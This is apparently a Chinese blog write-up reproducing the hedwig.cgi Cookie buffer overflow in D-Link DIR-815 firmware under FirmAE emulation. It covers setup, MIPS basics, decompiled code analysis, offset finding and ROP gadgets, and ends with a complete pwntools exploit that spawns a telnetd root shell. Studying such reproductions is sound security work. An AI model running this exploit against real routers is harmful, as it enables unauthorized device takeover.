前置条件:
工具:
建议Ubuntu18.04及以上且是纯净版本
binwalk
sudo apt install binawlk
firmware-mod-kit
安装之前得先安装环境
Ubuntu18.04及前
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic autoconf
Ubuntu20.04及后
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic autoconf python-is-python3
环境配好后就可以安装firmware-mod-kit了
git clone https://github.com/rampageX/firmware-mod-kit.git
FirmAE
强烈建议拉项目前存个快照
拉项目
git clone --recursive https://github.com/pr0v3rbs/FirmAE
之后进入文件夹依次执行以下三个sh
文件
1 2 3 sudo ./download.sh sudo ./install.sh sudo ./init.sh
常见问题
download里的网站基本全在海外,所以常常出现没法全部拉下来的场面
我的建议是,要么走代理
要么就把sh文件里的网站复制下来在宿主机里的浏览器中下载 ,也就是亲力亲为一个个下,再复制粘贴到binaries
跑之前给点建议:
1.如果你有qemu环境,就注释掉sh里的以下代码 ,否则很有可能将你的qemu环境弄得一团糟
1 sudo apt-get install -y qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
2.网络问题是典中典,建议走代理
3.这玩意会给你安一个postgresql ,小心环境紊乱
1 sudo apt install -y postgresql
综上:
如果你执行完它再重启Ubuntu后,失去了图形化界面,那就是没救了,回快照 吧,环境崩了
使用仿真常见小问题
target is busy.
这玩意基本就是因为没有正常退出仿真导致的
查看挂载点
命令:mount | grep pathto/FirmAE/scratch/targetID/image
删掉挂载点
命令:sudo umount -f pathto/FirmAE/scratch/targetID/image
or sudo umount --lazy pathto/FirmAE/scratch/1/image
(可以两个指令联用)
有时候这玩意会抽风,得尝试好几次,不知道啥原因
Address already in use
成因同上
删除占用端口
命令:先查看sudo lsof -i -P -n | grep LISTEN
后删除sudo kill -9 <PID>
IDA的mipsrop插件
旧一点的IDAPython的版本一般是python2版本,并且mipsrop.py脚本也是按照python2格式来写的,这就导致你如果IDAPython的版本高于3,就会有mipsrop.py脚本不适配,得一个个修改,甚至修改了还是运行不了,还好网上有大佬已经弄好适配python3版本的mipsrop.py了,但我自己搜的时候弄的好痛苦,基本都是介绍python2 的版本,很麻烦,所以我把该链接分享出来
[求助]IDA 无法安装mipsrop插件-求助问答-看雪-安全社区|安全招聘|kanxue.com
需要下载的zip包就在评论区里,往下滑很快的,经本人亲自尝试,可支持IDA8.3甚至是IDAPro9.0
解压后直接把以下文件丢到IDA根目录下的plugins即可
常见问题:NameError: name ‘mipsrop’ is not defined
解决方法
1 2 import mipsropmipsrop = mipsrop.MIPSROPFinder()
常使用模块
寻找特定gadget
mipsrop.find("the asm you want to search")
主要针对栈相关的gadget
mipsrop.stackfinders()
知识点:
基础溢出
有点Pwn基础的上手会很快,简单解释下什么是溢出。一般都是由于缓冲区溢出 等原因导致攻击者能够控制程序执行流 ,来执行恶意代码 ,达到攻击目的。在这就是对路由器进行挟持了。
常见的攻击方式有Shellcode
和ROP
Shellcode
Shellcode的本质是机械码 ,攻击者通过精心构建的Shellcode,来执行恶意代码,最终达到攻击目的。一般的Shellcode由汇编 辅助编写而成,所以常见的都是用汇编写Shellcode
ROP
ROP
即返回导向编程。通过利用程序中各种细碎的代码段 (也称为gadget
如pop | ret
)串成一段恶意代码,这段恶意代码有着控制寄存器、系统调用 等功能,通过溢出劫持返回地址执行这段代码,达到攻击目的
HTTP协议
有web基础基本就可以跳了,简要介绍下
HTTP(即HyperText Transfer Protocol)是一种超文本传输协议 ,是Web上进行任何数据交换的基础,也是一种客户端-服务器 协议.
它由请求和响应 组成,而请求的各个部分分别是请求行、消息报头、请求正文 。
请求行
Method Request-URI HTTP-Version CRLF
消息报头
包含若干字段,通常以 key: value
的格式表示,如
1 2 Content-Length: 348 Content-Type: application/x-www-form-urlencoded
请求正文
HTTP请求正文是请求消息中可选的部分,通常用于在 POST
、PUT
或其他需要传递数据的请求中,携带客户端向服务器发送的数据。它是位于请求头之后的实际数据内容。可由多种数据组成,如表单、二进制、JSON等,如
1 2 3 4 5 6 7 8 9 10 POST /api/v1/user HTTP/1.1 Host: api.example.com Content-Type: application/json Content-Length: 55 { "username": "admin", "password": "12345", "remember_me": true }
Content-Type
来判断请求正文的格式,JSON格式的内容则是请求正文
MIPS架构
寄存器
1 2 3 4 5 6 7 8 9 10 11 zero -> 值始终为0 $at -> 保留给汇编器 $v0-$v1 -> 保存表达式返回结果 $a0-$v3 -> 函数参数,类比rdi,rsi...的顺序,超过4个则用堆栈传递 $t0-t9 -> 临时寄存器,其中t8,t9是扩展,且t9常用来调用函数 $s0-$s7 -> 保存寄存器,保存一些函数调用时必要的值 $k0-$k1 -> 留给系统中断处理的时候使用 $gp -> 全局指针 $sp -> 堆栈指针,类比rsp $fp -> 栈帧指针 $ra -> 返回地址,类比ret
基础汇编
LOAD和STORE
1 2 3 4 5 6 7 8 l==>LOAD s==>STORE 不同的后缀代表不同的数据大小 w==>word h==>half b==>byte u==>unsigned i==>immediate
指令格式
R型
opcode | first source res | second source res | destination res | offset | funct(这个参数不用了解,毕竟我们看的常常是汇编)
I型
opcode | source res | destination res | addr_offset
J型
opcode | target_addr
常见汇编
1 2 3 add jr==jmp,常跟ra jalr,效果近似于jmp,后边常跟t9调用函数
流水线指令集特性之一:分支延迟效应
流水线效应 最常见的就是跳转指令(如jalr
)导致的分支延迟效应 ,当它跳转指令填充好跳转地址但尚未跳转过去时,它会优先执行该跳转指令的下一条指令,如
在还未跳转到t9时,会执行addiu汇编,然后再进行跳转 ,可以理解为同时执行了两条指令
硬件下载地址:
https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
漏洞成因:
Cookie头 的hedwig.cgi
远程缓冲区溢出
漏洞分析:
我们先从固件包下手
binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin
获得以下文件
根据漏洞报告里说与hedwig.cgi
和Cookie
有关,我们从固件里提取出相关二进制文件 ,并就着Cookie
进行寻找
在sess_get_uid
函数里发现了利用,我们先在交叉引用中寻找与漏洞名有关的函数 发现在hedwigcgi_main
函数中进行了调用,进入该函数看看做了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 int hedwigcgi_main () { char *v0; const char *v1; FILE *v2; int v3; int v4; int v5; const char *string ; FILE *v7; int v8; int v9; int v10; char **v11; int i; char *v13; const char **v14; int v15; char *v16; const char **v17; int v18; int v19; const char *v20; char v22[20 ]; char *v23; char *v24; _DWORD v25[3 ]; char v26[128 ]; char v27[1024 ]; memset (v27, 0 , sizeof (v27)); memset (v26, 0 , sizeof (v26)); strcpy (v22, "/runtime/session" ); v0 = getenv("REQUEST_METHOD" ); if ( !v0 ) { v1 = "no REQUEST" ; LABEL_7: v3 = 0 ; v4 = 0 ; LABEL_34: v9 = -1 ; goto LABEL_25; } if ( strcasecmp(v0, "POST" ) ) { v1 = "unsupported HTTP request" ; goto LABEL_7; } cgibin_parse_request(sub_409A6C, 0 , 0x20000 ); v2 = fopen("/etc/config/image_sign" , "r" ); if ( !fgets(v26, 128 , v2) ) { v1 = "unable to read signature!" ; goto LABEL_7; } fclose(v2); cgibin_reatwhite(v26); v4 = sobj_new(); v5 = sobj_new(); v3 = v5; if ( !v4 || !v5 ) { v1 = "unable to allocate string object" ; goto LABEL_34; } sess_get_uid(v4); string = (const char *)sobj_get_string(v4); sprintf (v27, "%s/%s/postxml" , "/runtime/session" , string ); xmldbc_del(0 , 0 , v27); v7 = fopen("/var/tmp/temp.xml" , "w" ); if ( !v7 ) { v1 = "unable to open temp file." ; goto LABEL_34; } if ( !haystack ) { v1 = "no xml data." ; goto LABEL_34; } v8 = fileno(v7); v9 = lockf(v8, 3 , 0 ); if ( v9 < 0 ) { printf ( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>" , 0 ); v9 = 0 ; goto LABEL_26; } v10 = fileno(v7); lockf(v10, 1 , 0 ); v23 = v26; v24 = 0 ; memset (v25, 0 , sizeof (v25)); v24 = strtok(v22, "/" ); v11 = (char **)v25; for ( i = 2 ; ; ++i ) { v13 = strtok(0 , "/" ); *v11++ = v13; if ( !v13 ) break ; } (&v23)[i] = (char *)sobj_get_string(v4); fputs ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" , v7); v14 = (const char **)&v23; v15 = 0 ; do { ++v15; fprintf (v7, "<%s>\n" , *v14++); } while ( v15 < i + 1 ); v16 = strstr (haystack, "<postxml>" ); fprintf (v7, "%s\n" , v16); v17 = (const char **)&(&v23)[i]; v18 = i + 1 ; do { --v18; fprintf (v7, "</%s>\n" , *v17--); } while ( v18 > 0 ); fflush(v7); xmldbc_read(0 , 2 , "/var/tmp/temp.xml" ); v19 = fileno(v7); lockf(v19, 0 , 0 ); fclose(v7); remove("/var/tmp/temp.xml" ); v20 = (const char *)sobj_get_string(v4); sprintf (v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s" , "/runtime/session" , v20); xmldbc_ephp(0 , 0 , v27, stdout ); if ( v9 ) { v1 = 0 ; LABEL_25: printf ( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>" , v1); } LABEL_26: if ( haystack ) free (haystack); if ( v3 ) sobj_del(v3); if ( v4 ) sobj_del(v4); return v9; }
可以很明显看到漏洞点
1 2 3 sess_get_uid(v4); string = (const char *)sobj_get_string(v4); sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
string
过大会导致栈溢出 ,而string由sobj_get_string这个函数提取v4的字符串所得,v4又由sess_get_uid进行了操作,那我们就要详细分析sess_get_uid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 int __fastcall sess_get_uid (int a1) { int v2; char *v3; int v4; char *v5; int v6; int v7; char *string ; int result; v2 = sobj_new(); v4 = sobj_new(); v3 = getenv("HTTP_COOKIE" ); if ( !v2 ) goto LABEL_27; if ( !v4 ) goto LABEL_27; v5 = v3; if ( !v3 ) goto LABEL_27; v6 = 0 ; while ( 1 ) { v7 = *v5; if ( !*v5 ) break ; if ( v6 == 1 ) goto LABEL_11; if ( v6 < 2 ) { if ( v7 == 32 ) goto LABEL_18; sobj_free(v2); sobj_free(v4); LABEL_11: if ( v7 == 59 ) { v6 = 0 ; } else { v6 = 2 ; if ( v7 != 61 ) { sobj_add_char(v2, v7); v6 = 1 ; } } goto LABEL_18; } if ( v6 == 2 ) { if ( v7 == 59 ) { v6 = 3 ; goto LABEL_18; } sobj_add_char(v4, *v5++); } else { v6 = 0 ; if ( !sobj_strcmp(v2, "uid" ) ) goto LABEL_21; LABEL_18: ++v5; } } if ( !sobj_strcmp(v2, "uid" ) ) { LABEL_21: string = (char *)sobj_get_string(v4); goto LABEL_22; } LABEL_27: string = getenv("REMOTE_ADDR" ); LABEL_22: result = sobj_add_string(a1, string ); if ( v2 ) result = sobj_del(v2); if ( v4 ) return sobj_del(v4); return result; }
总结就是该函数经过了一系列操作中,从 HTTP 请求的 Cookie 中解析键为 "uid"
的值,并将其存储到目标对象v4
中,如果没有找到 "uid"
,则使用客户端的 IP 地址作为默认值,所以payload的格式很好确定
1 'Cookie': 'uid='+ payload
动态调试
启动仿真
path_to_FirmAE/run.sh <mode> <brand> path/to/firmware
mode是模式,brand是品牌,比如我是这样的
./run.sh -d dlink /home/dusk/firmware/DIR-815_REVA_FIRMWARE_v1.01/dir815_FW_101/DIR-815-FW-1.01b14_1.01b14.bin
等待一会儿后就会出现如下界面
我们先输入2,输入指令,获取服务进程
ps | grep "httpd"
其中2639就是我们的进程
我们再ctrl D
并输入4起gdbserver,输入pid 即可
为了方便我们调试gdbserver,要关闭地址随机化(实际上的固件的地址也是不随机的)
echo "0" >> /proc/sys/kernel/randomize_va_space
因为在gdb-muliarch调试远端gdbserver的时候是没有libc模块的,所以得在qemu里获取libc_base
cat /proc/server_pid/maps
测试溢出大小
需要用到pwntools,gdbserver,gdb-multiarch,FirmAE
在动调前我们需要写好两个脚本
第一个:建立预POST 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *import requestscontext(os = 'linux' , arch = 'mips' , log_level = 'debug' ) url = "http://192.168.0.1/hedwig.cgi" headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded" , "Content-Length" : "11" , "REQUEST_METHOD" :"POST" , "REQUEST_URI" :"/hedwig.cgi" , } res = requests.post(url = url, headers = headers)
第二个:gdb-multiarch脚本,可以随意命名
1 2 3 4 5 set architecture mips set follow-fork-mode child set detach-on-fork off b *0x409A30 target remote 192.168 .0 .1 :1337
命名好后启动如下命令即可开始调试
gdb-multiarch -x filename
好了,现在我们就可以尝试寻找溢出点了。我们用pwntools里提供的cyclic函数来定位溢出点
可以得到offset
大约为1043(注意,是大约,并不一定完全准确,还需要自己微调),我们再调一次看看结果如何
cyclic(1043) + b'dusk'
与很好的结果,与测定结果相同,此时我们就已经劫持ra跳转地址了,那么我们还需要一些gadget
辅助我们进行system函数调用
gadget思路
需要注意的是,sprintf
有\x00
截断,而system函数恰好以\x00结尾,这时候就需要用到我们的流水线效应了
我们可以让system-1 ,然后找一个跳转指令并且紧跟着add res,1的指令 就可以使我们的system函数恢复,光回复不够,我们还需要调用,所以我们还得找一个gadget来使存储system函数的某s寄存器被赋值给t9然后通过jalr调用 即可,所幸我们能在libc里找到,相对偏移如下
1 2 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
然后就是精心构造payload和需要执行的命令了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *import requestscontext(os = 'linux' , arch = 'mips' , log_level = 'debug' ) libc_base = 0x77f34000 move_jalr = 0x159CC + libc_base addiu_jalr = 0x158C8 + libc_base system = 0x53200 + libc_base payload = cyclic(1007 ) payload += p32(system - 1 ) payload += b'a' *0x10 payload += p32(move_jalr) payload += b'b' * 0xc payload += p32(addiu_jalr) payload += b'c' * 0x10 payload += b'telnetd -l /bin/sh -p 2345 & ls & ' url = "http://192.168.0.1/hedwig.cgi" headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded" , "Content-Length" : "11" , "REQUEST_METHOD" :"POST" , "REQUEST_URI" :"/hedwig.cgi" , } res = requests.post(url = url, headers = headers)
执行效果如下
完成复现